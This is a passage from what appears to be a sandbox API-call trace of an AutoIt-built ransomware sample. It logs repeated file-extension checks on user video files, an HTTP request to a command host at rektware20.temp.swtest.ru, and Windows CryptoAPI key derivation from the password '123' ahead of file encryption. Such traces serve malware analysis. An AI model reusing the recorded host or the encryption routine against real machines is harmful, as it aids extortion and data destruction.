lpString1="Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.157] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jjvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jvy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vy1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RE6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="atxbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="txbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.158] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xbCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bCV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CV\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="I8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ZA81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="81W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="W.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0068.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.159] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.159] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0068.159] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.159] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0068.159] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0068.159] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.159] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0068.159] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0068.160] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c) returned 1 [0068.160] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.160] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.160] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.160] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0068.160] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0068.160] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0068.161] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0068.161] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629510, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629510*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0068.161] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.161] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.161] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.161] CloseHandle (hObject=0x0) returned 0 [0068.161] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.161] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\I8f2WZA81W.flv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0068.162] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.162] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.162] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.162] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.162] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.162] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.162] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.162] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0068.163] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.163] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.163] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0068.163] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.163] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.163] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.163] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.163] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.163] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0068.163] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0068.163] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0068.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0068.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0068.164] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0068.164] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aad58) returned 1 [0068.164] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.164] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.165] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0068.165] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.165] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.165] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.165] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.165] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.165] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.165] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.165] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.165] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.165] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.165] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.165] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.165] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0068.165] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.165] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.165] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.165] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.165] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.166] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.166] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.166] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.166] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.166] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.166] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.166] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.166] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.166] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.166] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.166] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.166] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.166] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.166] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0068.167] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0068.167] CryptCreateHash (in: hProv=0x17aad58, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0068.167] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.167] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.167] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.167] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629570, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.167] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0068.167] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629670, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.167] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.167] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", 